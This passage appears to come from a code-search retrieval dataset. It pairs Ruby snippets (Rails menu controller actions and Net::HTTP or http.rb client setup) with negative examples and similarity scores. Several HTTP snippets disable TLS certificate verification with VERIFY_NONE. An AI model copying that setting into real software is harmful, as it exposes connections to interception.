initialize_menus\n return if %w[search upload].include?(params[:controller].to_s.downcase)\n ss = session_section\n SEARCH_KEYS.each do |key|\n ss_value = ss[key.to_s]\n if ss_value.present?\n if key == :sort\n set_sort_params(ss_value)\n else\n params[key] = ss_value\n end\n elsif key == :sort\n SEARCH_SORT_KEYS.each do |k|\n v = ss[k.to_s]\n params[k] = v if v.present?\n end\n end\n end\n end","def set_menu\n @menus = Xmt::Nav::Menu.all\n @menu = params[:parent_id].blank? ? @menus.first : Xmt::Nav::Menu.find(params[:parent_id])\n end","def update\n respond_to do |format|\n if @menu.update(menu_params)\n format.html { redirect_to @menu.canteen, notice: 'Menu was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end","def menu\n \tredirect_to session_new_path\n end","def update\n respond_to do |format|\n if menu.update(menu_params)\n format.html { redirect_to [place, menu], notice: 'Menu was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: menu.errors, status: ':unprocessable_entity' }\n end\n end\n end","def set_custom_menu\n @custom_menu = @sub_project.custom_menus.find(params[:id])\n end","def show\n @menu_item = current_site.menu_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @menu_item }\n end\n end","def menu_item(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each { |a| menu_items[controller_name.to_sym][:actions][a.to_sym] = id }\n else\n menu_items[controller_name.to_sym][:default] = id\n end\n end","def update\n respond_to do |format|\n if @normal_menu.update(normal_menu_params)\n @normal_menu.update(:updated_by=>session[:kitchen_user_id])\n format.html { redirect_to @normal_menu, notice: 'Normal menu was successfully updated.' }\n format.json { render :show, status: :ok, location: @normal_menu }\n else\n format.html { render :edit }\n format.json { render json: @normal_menu.errors, status: :unprocessable_entity }\n end\n end\n end","def index\n @menus = Menu.all\n end","def index\n @menus = Menu.all\n end","def index\n @menus = Menu.all\n end","def index\n @menus = Menu.all\n end","def index\n @menus = Menu.all\n end","def index\n @menus = Menu.all\n end"],"string":"[\n \"def menu\\n \\nend\",\n \"def show # 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show.html.erb\\n end\\n end\",\n \"def getMenu(menu)\\n menu.add_item(\\\"Done\\\") {self.done}\\n menu.add_item(\\\"Edit Camera...\\\") {self.edit}\\n menu.add_item(\\\"Reset Tilt\\\") {self.reset_tilt}\\nend\",\n \"def set_api_menu\\n @api_menu = Menu.find(params[:id])\\n end\",\n \"def action_hook; end\",\n \"def edit\\n #SET_CHEF method will be called form BEFORE_ACTION\\n end\",\n \"def set_menu_list\\n @menu_lists = MenuList.find(params[:id])\\n end\",\n \"def update\\n @current_admin_user = current_admin_user\\n @menu = Menu.find(params[:id])\\n @title = @menu.name\\n respond_to do |format|\\n if @menu.update_attributes(params[:menu])\\n format.html { redirect_to @menu, notice: 'Menu was successfully updated.' }\\n format.json { head :no_content }\\n else\\n format.html { render action: \\\"edit\\\" }\\n format.json { render json: @menu.errors, status: :unprocessable_entity }\\n end\\n end\\n \\n end\",\n \"def show\\n @original_menu = OriginalMenu.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.xml { render :xml => @original_menu }\\n end\\n end\",\n \"def set_menu_item\\n @menu_item = MenuItem.find(params[:id])\\n end\",\n \"def set_menu_item\\n @menu_item = MenuItem.find(params[:id])\\n end\",\n \"def set_menu_item\\n @menu_item = MenuItem.find(params[:id])\\n end\",\n \"def set_menu_item\\n @menu_item = @menu.menu_items.find(params[:id])\\n end\",\n \"def menus\\n @menus = Menu.where(location_id: params[:id]).all\\n end\",\n \"def view_menu\\n h = {\\n f: :select_from_visited_files,\\n d: :select_from_used_dirs,\\n b: :view_bookmarks,\\n s: :list_selected_files,\\n c: :child_dirs,\\n r: :recent_files,\\n t: :tree,\\n e: :dirtree\\n }\\n menu 'View Menu', h\\nend\",\n \"def show\\n @current_admin_user = current_admin_user \\n @menu = Menu.find(params[:id])\\n @menu_items = @menu.menu_items\\n @title = @menu.name\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render :json => {:menu => @menu, :menu_items => @menu_items} }\\n end\\n end\",\n \"def show\\n if(Admin.first.nil?)\\n createAdmin\\n end\\n\\n menu=Menu.new(menu_params)\\n # if the menu is saved successfully than respond with json data and status code 201\\n if menu.save\\n render json: Menu.all, status: 200\\n else\\n render json: \\\"422\\\", status: 422\\n end\\n # if(params[:id].include?(\\\"menu\\\"))\\n # render json: \\\"Test\\\", status: 200\\n # end\\n #\\n # menu = Menu.all.last # grabs the latest menu\\n # render json: menu, status: 200\\n end\",\n \"def set_admins_level3_menu\\n @menu = Level3Menu.find(params[:id])\\n end\",\n \"def set_menuindex\\n @menuindex = Menuindex.find(params[:id])\\n end\",\n \"def update\\n material = @current_shop.materials.find(menu_params[:material_id]) rescue nil\\n if material\\n @menu.material = material\\n @menu.keyword = nil\\n elsif Menu.reply_message(@system_config).map{|key| key[1]}.include? menu_params[:material_id]\\n @menu.keyword = menu_params[:material_id].gsub(Event::KEY_PREFIX, \\\"\\\")\\n @menu.material = nil\\n end\\n respond_to do |format|\\n if @menu.update(menu_params.except(:event_id))\\n format.html { redirect_to backend_shop_system_config_menu_path(@current_shop.slug,@system_config, @menu), notice: t('Menu was successfully updated.') }\\n format.json { head :no_content }\\n else\\n @parent_menus_array = get_other_top_menu\\n format.html { render action: 'edit' }\\n format.json { render json: @menu.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def edit\\n @site = Site.find_by_name(params[:site])\\n if @site.nil?\\n return render_404\\n end\\n @menu = @site.menus.by_menu_type(params[:menu_type]).first\\n if @menu.nil?\\n return render_404\\n end\\n @menu_item = @menu.menu_items.by_id(params[:id]).first\\n if @menu_item.nil?\\n return render_404\\n end\\n \\n if params[:parent_id]\\n parent = @menu.menu_items.by_id(params[:parent_id]).first\\n if parent.nil?\\n return render_404\\n end\\n @menu_item.parent = parent\\n end\\n \\n generate_selections!(@menu_item)\\n respond_to do |format|\\n format.html \\n end\\n end\",\n \"def update_call_menu\\n end\",\n \"def show\\n #@menu = Menu.find(params[:id])\\n puts \\\"#{params}\\\"\\n puts \\\"@menu #{@menu}\\\"\\n puts \\\"@menus #{@menus}\\\"\\n respond_to do |format|\\n format.html # show.html.erb\\n format.xml { render :xml => @menu }\\n end\\n end\",\n \"def index\\n @admin_menus = Menu.all\\n end\",\n \"def set_fdn_menu\\n @fdn_menu = Fdn::Menu.find(params[:id])\\n end\",\n \"def index\\n @normal_menus = NormalMenu.all\\n end\",\n \"def set_menu\\n @menu = current_user.restaurant.menus.find(params[:id])\\n rescue\\n # If the menu is not part of the current_user.restaurant.menus, then we don't have access\\n # ActiveRecord will throw an exception so we will rescue it immediately\\n render body: nil, status: :forbidden\\n end\",\n \"def perform \\n \\tquel_menu(menu)\\n \\tjournaliste\\nend\",\n \"def show\\n @dishes = MenuItem.where(\\\"menu_id = ?\\\", params[:id])\\n end\",\n \"def update_show\\n\\tend\",\n \"def update_show\\n\\tend\",\n \"def main_menu\\n render :partial => 'menus/main_menu'\\n end\",\n \"def set_menu_item\\n @menu_item = Menu::Item.find(params[:id])\\n end\",\n \"def type\\n \\\"mymenu\\\"\\n end\",\n \"def set_menu_setting\\n @menu_setting = MenuSetting.find(params[:id])\\n end\",\n \"def update\\n @menu = Menu.find(params[:id])\\n\\n respond_to do |format|\\n if uhook_update_menu(@menu)\\n flash[:notice] = t(\\\"ubiquo.menu.edited\\\")\\n return if check_redirects(@menu)\\n format.html { redirect_to(ubiquo.menus_url) }\\n format.xml { head :ok }\\n else\\n flash[:error] = t(\\\"ubiquo.menu.edit_error\\\")\\n format.html { render :action => \\\"edit\\\" }\\n format.xml { render :xml => @menu.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def set_places_menu\\n @places_menu = PlacesMenu.find(params[:id])\\n end\",\n \"def index\\n @menu_items = MenuItem.all\\n end\",\n \"def index\\n @menu_items = MenuItem.all\\n end\",\n \"def index\\n @menu_items = MenuItem.all\\n end\",\n \"def index\\n @menu_items = MenuItem.all\\n end\",\n \"def hq_menu\\n changes = ChangeRequest.list\\n\\n list = changes.map do |c|\\n c.add_to_hash({'i' => c.cr_id, \\\"action_#{c.cr_id}\\\" => 'N' })\\n end\\n\\n values = {\\n 'form_url' => url(:handle_hq_menu),\\n 'list' => list,\\n 'action_opts' => { \\n 'A' => 'Accept change',\\n 'D' => 'Deny change',\\n 'N' => 'Do nothing'\\n }\\n \\n }\\n standard_page(\\\"List Pending Changes\\\", values, LIST_PENDING)\\n end\",\n \"def index\\n @admin_menus = Admin::Menu.all\\n end\",\n \"def set_menu_category\\n @menu_category = MenuCategory.find(params[:id])\\n end\",\n \"def menu\\n Rails.cache.fetch('menu') { render :partial => 'all/menu' }\\n end\",\n \"def item_edit\\n end\",\n \"def initialize_menus\\n return if %w[search upload].include?(params[:controller].to_s.downcase)\\n ss = session_section\\n SEARCH_KEYS.each do |key|\\n ss_value = ss[key.to_s]\\n if ss_value.present?\\n if key == :sort\\n set_sort_params(ss_value)\\n else\\n params[key] = ss_value\\n end\\n elsif key == :sort\\n SEARCH_SORT_KEYS.each do |k|\\n v = ss[k.to_s]\\n params[k] = v if v.present?\\n end\\n end\\n end\\n end\",\n \"def set_menu\\n @menus = Xmt::Nav::Menu.all\\n @menu = params[:parent_id].blank? ? @menus.first : Xmt::Nav::Menu.find(params[:parent_id])\\n end\",\n \"def update\\n respond_to do |format|\\n if @menu.update(menu_params)\\n format.html { redirect_to @menu.canteen, notice: 'Menu was successfully updated.' }\\n format.json { head :no_content }\\n else\\n format.html { render action: 'edit' }\\n format.json { render json: @menu.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def menu\\n \\tredirect_to session_new_path\\n end\",\n \"def update\\n respond_to do |format|\\n if menu.update(menu_params)\\n format.html { redirect_to [place, menu], notice: 'Menu was successfully updated.' }\\n format.json { head :no_content }\\n else\\n format.html { render action: 'edit' }\\n format.json { render json: menu.errors, status: ':unprocessable_entity' }\\n end\\n end\\n end\",\n \"def set_custom_menu\\n @custom_menu = @sub_project.custom_menus.find(params[:id])\\n end\",\n \"def show\\n @menu_item = current_site.menu_items.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.xml { render :xml => @menu_item }\\n end\\n end\",\n \"def menu_item(id, options = {})\\n if actions = options[:only]\\n actions = [] << actions unless actions.is_a?(Array)\\n actions.each { |a| menu_items[controller_name.to_sym][:actions][a.to_sym] = id }\\n else\\n menu_items[controller_name.to_sym][:default] = id\\n end\\n end\",\n \"def update\\n respond_to do |format|\\n if @normal_menu.update(normal_menu_params)\\n @normal_menu.update(:updated_by=>session[:kitchen_user_id])\\n format.html { redirect_to @normal_menu, notice: 'Normal menu was successfully updated.' }\\n format.json { render :show, status: :ok, location: @normal_menu }\\n else\\n format.html { render :edit }\\n format.json { render json: @normal_menu.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def index\\n @menus = Menu.all\\n end\",\n \"def index\\n @menus = Menu.all\\n end\",\n \"def index\\n @menus = Menu.all\\n end\",\n \"def index\\n @menus = Menu.all\\n end\",\n \"def index\\n @menus = Menu.all\\n end\",\n \"def index\\n @menus = Menu.all\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.71431315","0.7016246","0.7001509","0.6964068","0.6964068","0.6964068","0.6952713","0.69467056","0.691121","0.68966806","0.6867465","0.685685","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6758098","0.6722376","0.6678648","0.6587439","0.6580111","0.65617347","0.6557104","0.6516166","0.6516166","0.65023243","0.6489885","0.64874315","0.6474864","0.64670664","0.64601046","0.6411027","0.6408528","0.6396519","0.630148","0.62917817","0.62318933","0.6230225","0.6229468","0.6216897","0.6216897","0.6216897","0.62081575","0.61548364","0.6138899","0.6126562","0.61146164","0.6100596","0.61002105","0.6097515","0.6096655","0.60966516","0.60889864","0.608753","0.6064699","0.60629666","0.60628295","0.60551685","0.60492885","0.6041628","0.6041628","0.6041458","0.603977","0.6032485","0.60294056","0.6026293","0.6024344","0.60202265","0.60202265","0.60202265","0.60202265","0.6013712","0.6010015","0.5986831","0.5984949","0.5980021","0.5971871","0.596468","0.59514856","0.59474975","0.5945956","0.593679","0.59231263","0.592243","0.5922371","0.59212726","0.59212726","0.59212726","0.59212726","0.59212726","0.59212726"],"string":"[\n \"0.71431315\",\n \"0.7016246\",\n \"0.7001509\",\n \"0.6964068\",\n \"0.6964068\",\n \"0.6964068\",\n \"0.6952713\",\n \"0.69467056\",\n \"0.691121\",\n \"0.68966806\",\n \"0.6867465\",\n \"0.685685\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6758098\",\n \"0.6722376\",\n \"0.6678648\",\n \"0.6587439\",\n \"0.6580111\",\n \"0.65617347\",\n \"0.6557104\",\n \"0.6516166\",\n \"0.6516166\",\n \"0.65023243\",\n \"0.6489885\",\n \"0.64874315\",\n \"0.6474864\",\n \"0.64670664\",\n \"0.64601046\",\n \"0.6411027\",\n \"0.6408528\",\n \"0.6396519\",\n \"0.630148\",\n \"0.62917817\",\n \"0.62318933\",\n \"0.6230225\",\n \"0.6229468\",\n \"0.6216897\",\n \"0.6216897\",\n \"0.6216897\",\n \"0.62081575\",\n \"0.61548364\",\n \"0.6138899\",\n \"0.6126562\",\n \"0.61146164\",\n \"0.6100596\",\n \"0.61002105\",\n \"0.6097515\",\n \"0.6096655\",\n \"0.60966516\",\n \"0.60889864\",\n \"0.608753\",\n \"0.6064699\",\n \"0.60629666\",\n \"0.60628295\",\n \"0.60551685\",\n \"0.60492885\",\n \"0.6041628\",\n \"0.6041628\",\n \"0.6041458\",\n \"0.603977\",\n \"0.6032485\",\n \"0.60294056\",\n \"0.6026293\",\n \"0.6024344\",\n \"0.60202265\",\n \"0.60202265\",\n \"0.60202265\",\n \"0.60202265\",\n \"0.6013712\",\n \"0.6010015\",\n \"0.5986831\",\n \"0.5984949\",\n \"0.5980021\",\n \"0.5971871\",\n \"0.596468\",\n \"0.59514856\",\n \"0.59474975\",\n \"0.5945956\",\n \"0.593679\",\n \"0.59231263\",\n \"0.592243\",\n \"0.5922371\",\n \"0.59212726\",\n \"0.59212726\",\n \"0.59212726\",\n \"0.59212726\",\n \"0.59212726\",\n \"0.59212726\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":171994,"cells":{"query":{"kind":"string","value":"reuse an httpclient for subsequent requests, to get http.rb's persistent connection reuse Note this means this is NOT thread safe, which is fine for now, but we'd have to do something different if we tried to multithread reading multiple files or something."},"document":{"kind":"string","value":"def http_client\n @http_client ||= begin\n client = nil\n\n if HTTP::VERSION.split(\".\").first.to_i > 3\n client = HTTP.timeout(timeout)\n else\n # timeout setting on http.rb 3.x are a bit of a mess.\n # https://github.com/httprb/http/issues/488\n client = HTTP.timeout(:global, write: timeout / 3, connect: timeout / 3, read: timeout / 3)\n end\n\n if settings[\"oai_pmh.try_gzip\"]\n client = client.use(:auto_inflate).headers(\"accept-encoding\" => \"gzip;q=1.0, identity;q=0.5\")\n end\n\n if settings[\"oai_pmh.http_persistent\"]\n parsed_uri = URI.parse(start_url)\n client = client.persistent(\"#{parsed_uri.scheme}://#{parsed_uri.host}\")\n end\n\n client\n end\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def http_client\n @http_client ||=\n begin\n uri = URI(http_request[:url])\n Net::HTTP.new(uri.host, uri.port).tap { |e| e.read_timeout = dispatch_deadline }\n end\n end","def recreate_client\n @http.close\n create_client\n end","def new_http_client\n client = Net::HTTP.new(@uri.host, @uri.port)\n if @uri.scheme == \"https\"\n configure_ssl(client)\n end\n client\n end","def prepare_http_connection\n conn = @http\n if conn.nil? || !options[:persistent]\n conn = HTTPClient.new(options[:proxy] || self.class.proxy)\n set_http_connection_options(conn, options)\n @http = conn # Always set to last used connection\n end\n conn\n end","def http_client\n @http_client ||= @http_adapter.new(@site_url, @connection_options)\n end","def create_http_client\n c = DefaultHttpClient.new( @connection_manager, @cparams )\n c.http_request_retry_handler = @retry_handler if @retry_handler\n c\n end","def http_client\n client = HTTPClient.new\n client.connect_timeout = 20 # 20 seconds\n client.receive_timeout = 20 # 20 seconds\n client\n end","def http_client uri, proxy = nil, read_timeout = nil, open_timeout = nil\n @http ||= (\n http = if proxy\n proxy_user, proxy_pass = proxy.userinfo.split(/:/) if proxy.userinfo\n Net::HTTP.Proxy(proxy.host, proxy.port, proxy_user, proxy_pass).new uri.host, uri.port\n else\n Net::HTTP.new uri.host, uri.port\n end\n http.use_ssl = uri.port == 443 || uri.instance_of?(URI::HTTPS)\n http.read_timeout = read_timeout if read_timeout\n http.open_timeout = open_timeout if open_timeout\n http\n )\n end","def http\n # TODO: Deal with proxies and such\n unless @http\n @http = HTTPClient.new\n # TODO: This should be on the class level\n @http.connect_timeout = ApiResource::Base.open_timeout\n @http.receive_timeout = ApiResource::Base.timeout\n end\n\n return @http\n end","def init_http_client(options)\n http = Net::HTTP.new(@base_uri.host, 443)\n http.use_ssl = true if @base_uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE # FIXME: not 100% supported\n self.http_client = http\n end","def http\n @http ||= create_http\n end","def http\n @http ||= create_http\n end","def http_client\n # pass any proxy settings.\n proxy = Net::HTTP::Proxy(self.class.proxy_host, self.class.proxy_port,\n self.class.proxy_user, self.class.proxy_pass)\n http = proxy.new('api.exceptional.io', http_port)\n\n # set http client options.\n http.read_timeout = self.class.http_read_timeout || 5\n http.open_timeout = self.class.http_open_timeout || 2\n http.use_ssl = use_ssl?\n\n http\n end","def _new_http resource\n uri = ::URI.parse(resource.auth_uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.read_timeout = 3\n http.open_timeout = 3\n http\nend","def _new_http resource\n uri = ::URI.parse(resource.auth_uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.read_timeout = 3\n http.open_timeout = 3\n http\nend","def http_client\n @conn ||= Net::HTTP.start(EC2_METADATA_ADDR).tap do |h|\n h.read_timeout = 10\n h.keep_alive_timeout = 10\n end\n end","def create_http_conn\n @http = Net::HTTP.new(@base_uri.host, @base_uri.port)\n @http.use_ssl = true\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n @digest_auth = Net::HTTP::DigestAuth.new\n end","def http\n @http || prepare_http_connection\n end","def close\n @http_client.reset_all\n end","def close\n @http_client.reset_all\n end","def http_connection\n if @in_session\n establish_shared_connection\n else\n create_http_connection\n end\n end","def http_session\n if @http_session.nil?\n uri=self.class.build_uri(@params[:base_url])\n # this honors http_proxy env var\n @http_session=Net::HTTP.new(uri.host, uri.port)\n @http_session.use_ssl = uri.scheme.eql?('https')\n Log.log.debug(\"insecure=#{@@insecure}\")\n @http_session.verify_mode = OpenSSL::SSL::VERIFY_NONE if @@insecure\n @http_session.set_debug_output($stdout) if @@debug\n if @params.has_key?(:session_cb)\n @params[:session_cb].call(@http_session)\n end\n # manually start session for keep alive (if supported by server, else, session is closed every time)\n @http_session.start\n end\n return @http_session\n end","def make_http_request(path, options={}, response_proc=nil, &block)\n start_time = Time.now\n\n connection = Net::HTTP.new(@base_uri.host, @base_uri.port)\n connection.open_timeout = @open_timeout if @open_timeout\n connection.read_timeout = @read_timeout if @read_timeout\n if @base_uri.scheme == 'https' then\n connection.use_ssl = true\n connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n connection.start do\n path_as_string = case path\n when String then '/' + path\n when Array then '/' + path.join('/')\n end\n # remove any trailing string on the base_uri path\n complete_path = @base_uri.path.gsub(/\\/+$/, '') + path_as_string\n request = yield(complete_path)\n request.basic_auth(@username, @password)\n options[:headers].each {|k,v| request[k] = v} if options[:headers]\n request['Accept'] = 'application/json' if options.fetch(:json, true)\n log_http_request(request)\n\n response =\n if response_proc\n connection.request(request, &response_proc)\n else\n connection.request(request)\n end\n\n case response\n when nil\n log :warn, \"No response received\"\n raise HTTPError, \"No response received!\"\n when Net::HTTPClientError, Net::HTTPServerError\n log_http_response(start_time, request, response)\n raise HTTPError, \"#{response.code}: #{response.body}\"\n else\n log_http_response(start_time, request, response)\n if options.fetch(:json, true) && response.body\n\n # we inject a nasty instance variable to the client so that it\n # can lazy load any references to other objects - could be done\n # with thin_models, as this has built in support\n # for lazy loading attributes\n deserialized_object = parse_json(response.body) do |instance|\n instance.instance_variable_set(\"@__deserializing_client\", self)\n end\n\n deserialized_object.tap do |result|\n # not sure whether this should include the base_uri path\n # mung the uri on to the deserialized object - used for equality\n # and sort of replaces the old path_components property\n # also, some objects are coming back with a path_components\n # instance variable - where does that come from?\n result.respond_to?(:uri=) && result.uri = path_as_string\n end\n end\n end\n end\n end","def run_http_client(url, req, process_params)\n\t\t\t\tbegin\n\t\t\t\t\tparsed_url \t= URI.parse(URI.escape(CGI::unescape(url)))\n\t\t\t\t\tclient \t\t= Rex::Proto::Http::Client.new(parsed_url.host, parsed_url.port, {}, false)\n\t\t\t\t\t\n\t\t\t\t\t(req.unparsed_uri =~ /^#{parsed_url.path}/) ? uri = req.unparsed_uri : uri = parsed_url.path + req.unparsed_uri\n\t\t\t\t\t\n\t\t\t\t\tresp = client.send_recv(client.request_raw(\n\t\t\t\t\t\t'method'=> req.request_method, \n\t\t\t\t\t\t'vhost'\t=> parsed_url.host + ':' + parsed_url.port.to_s,\n\t\t\t\t\t\t'agent' => req.header['user-agent'][0],\n\t\t\t\t\t\t'cookie'=> req.cookies[0],\n\t\t\t\t\t\t'uri'\t=> process_params ? Rex::Text.to_hex_ascii(uri).gsub(/\\\\x/, '%') : parsed_url.path,\n\t\t\t\t\t\t'data' => process_params ? req.body : \"\"\n\t\t\t\t\t))\n\t\t\t\t\tclient.close\n\t\t\t\t\treturn resp\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 1: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend","def new_http(uri); end","def create_http(_url = nil)\n\n\n if !request_endpoint.nil?\n _url = request_endpoint\n end\n\n\n if _url.nil? || _url[0] =~ /^\\//\n our_uri = URI.parse(site)\n else\n our_uri = URI.parse(_url)\n end\n\n\n if proxy.nil?\n http_object = Net::HTTP.new(our_uri.host, our_uri.port)\n else\n proxy_uri = proxy.is_a?(URI) ? proxy : URI.parse(proxy)\n http_object = Net::HTTP.new(our_uri.host, our_uri.port, proxy_uri.host, proxy_uri.port, proxy_uri.user, proxy_uri.password)\n end\n\n http_object.use_ssl = (our_uri.scheme == 'https')\n\n if @options[:ca_file] || CA_FILE\n http_object.ca_file = @options[:ca_file] || CA_FILE\n http_object.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http_object.verify_depth = 5\n else\n http_object.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http_object.read_timeout = http_object.open_timeout = @options[:timeout] || 30\n http_object.open_timeout = @options[:open_timeout] if @options[:open_timeout]\n\n http_object\n end","def ensure_client(request)\n\n request_params = self.class.request_to_hash(request)\n\n #Tests for changes that invalidate the cached HTTPClient\n if(@@previous_params != request_params)\n self.class.reset\n\n # Set credentials. The driver will negotiate the actual scheme\n if request_params[:username] && request_params[:password]\n domain = request.url.match(/^(http(s?):\\/\\/[^\\/]+\\/)/i)[1]\n @@http_client.set_auth(domain, request_params[:username], request_params[:password])\n end\n @@http_client.ssl_config.set_trust_ca(request_params[:trust_ca_file]) if request_params[:trust_ca_file]\n @@http_client.ssl_config.set_client_cert_file(request_params[:client_cert_file],request_params[:client_cert_key_file]) if request_params[:client_cert_file] and request_params[:client_cert_key_file]\n end\n\n @@previous_params = request_params\n nil\n end","def create_http_connection(uri); end","def http_client\n @http_client ||= DeathByCaptcha.new(self.username, self.password, :http)\n end","def connection\r\n @connectoin ||= HTTPClient.new\r\n end","def http_connection\n (@shared_tcp_connection ||\n (@in_session && establish_shared_connection) ||\n create_http_connection)\n end","def conn\n @conn ||= connect\n if block_given?\n yield @conn\n else\n @conn\n end\n rescue *HttpExceptions\n @conn = connect\n return if defined?(once)\n once = true && retry\n end","def make_request(url,headers,query)\n c = HTTPClient.new\n c.get_content(url,query,headers)\nend","def new_http()\n http = Net::HTTP.new(@uri.host, @uri.port)\n if @uri.to_s.include?(\"https\")\n @log.debug(\"uri contains https. Enabling https\")\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n return http\nend","def http_request(original_uri, params)\n max_iterations = 60\n iterations = 0\n response = nil\n while iterations < max_iterations do\n begin\n @https_client.with_https_connection(original_uri.host, original_uri.port, original_uri.path, query: original_uri.query) do |conn, uri|\n conn.open_timeout = params[:open_timeout] ? params[:open_timeout] : 4 * 60\n conn.read_timeout = params[:read_timeout] ? params[:read_timeout] : 4 * 60\n if params[:request]\n request = params[:request].new(uri, params[:headers])\n else\n request = Net::HTTP::Get.new uri.request_uri\n end\n if params[:body]\n request.body = params[:body]\n end\n puts \"Request: \" + request.method + \" \" + request.uri.to_s\n response = conn.request(request)\n end\n break\n rescue Errno::ECONNREFUSED, Errno::EADDRNOTAVAIL\n puts \"Error: #{$!}, url=#{original_uri}\"\n if iterations == max_iterations - 1\n puts(\"Request failed after #{max_iterations} attempts: #{$!}, url=#{original_uri}\")\n raise\n else\n sleep 1\n end\n end\n iterations += 1\n end\n #puts \"Response: #{response.inspect}\"\n response\n end","def initialize(host, use_ssl, port)\n self.handle = Net::HTTP.new(host, port)\n self.handle.open_timeout = @@open_timeout # seems to have no effect?\n self.handle.read_timeout = @@read_timeout # seems to have an effect on establishing tcp connection??\n self.handle.close_on_empty_response = true # seems to have no effect?\n if use_ssl\n self.handle.use_ssl = true\n # respond_to? check is a ruby-1.9.1-p378 (+/-?) bug workaround\n self.handle.ssl_timeout = @@ssl_timeout if OpenSSL::SSL::SSLContext.new.respond_to?(:ssl_timeout=)\n self.handle.verify_mode = @@ssl_verify_mode\n self.handle.ca_file = @@ssl_ca_file\n self.handle.verify_depth = @@ssl_verify_depth\n end\n self.cookies = {}\n end","def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end","def http_inst\n http = Net::HTTP.new(@uri.host, @uri.port)\n if @uri.scheme.downcase.eql? 'https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n http\n end","def http_client(options)\n Net::HTTP.new(endpoint.host, endpoint.port).tap do |http|\n if endpoint.instance_of?(URI::HTTPS)\n cert = self.class.fingerprint_cert(endpoint.host)\n http.use_ssl = true\n http.verify_callback = ->(ok, store) { verify_fingerprint(cert.serial, ok, store) } if cert\n options[:ssl].call(http) if options[:ssl].respond_to?(:call)\n end\n end\n end","def build_http(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.open_timeout = 60\n http.read_timeout = 60\n return http\n end","def create_http(uri)\r\n http = Net::HTTP.new(uri.host, uri.port)\r\n if uri.instance_of? URI::HTTPS\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n end\r\n return http\r\n end","def instantiate_http(uri) # :nodoc:\n http_class = if @proxy && @proxy[:host]\n Net::HTTP::Proxy(@proxy[:host], @proxy[:port], @proxy[:username], @proxy[:password])\n else\n Net::HTTP\n end\n\n http = http_class.new(uri.host, uri.port)\n if uri.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end\n http.open_timeout = @open_timeout\n http.read_timeout = @read_timeout\n\n http\n end","def http_handle(version: :v1)\n @__handles ||= {}\n\n if @__handles[version].nil?\n uri = API_ENDPOINTS[version]\n handle = Net::HTTP.new(uri.host, uri.port)\n handle.use_ssl = true\n @__handles[version] = handle\n end\n\n @__handles[version]\n end","def initialize(cert_file: nil)\n @client = HTTPClient.new\n\n # this callback allows following redirects from http to https, otherwise it will not\n @client.redirect_uri_callback = ->(_uri, res) {\n res.header['location'][0]\n }\n\n # ran into problems like https://github.com/nahi/httpclient/issues/181 so forcing basic auth\n @client.force_basic_auth = true\n @client.set_basic_auth(nil, APP_CONFIG[:repository][:username], APP_CONFIG[:repository][:password])\n\n # TODO: remove this once Merritt has fixed their certs on their stage server.\n @client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE # TODO: remove for extra security once Merritt gets real certs\n @client.ssl_config.set_trust_ca(cert_file) if cert_file\n @client.connect_timeout = TIMEOUT\n @client.send_timeout = TIMEOUT\n @client.receive_timeout = TIMEOUT\n @client.keep_alive_timeout = TIMEOUT\n end","def http_client\n client = Selenium::WebDriver::Remote::Http::Persistent.new\n #client.proxy_uri=\"http://abc\"\n #client.read_timeout = 180\n #client.socket_options = {}\n client\n end","def http_reset\n @http = nil\n end","def http_communication\n @http_communication ||= http_communication_class.new(uri)\n end","def conn\n return @conn if defined?(@conn)\n @conn = Net::HTTP.new(resource[:source].host, 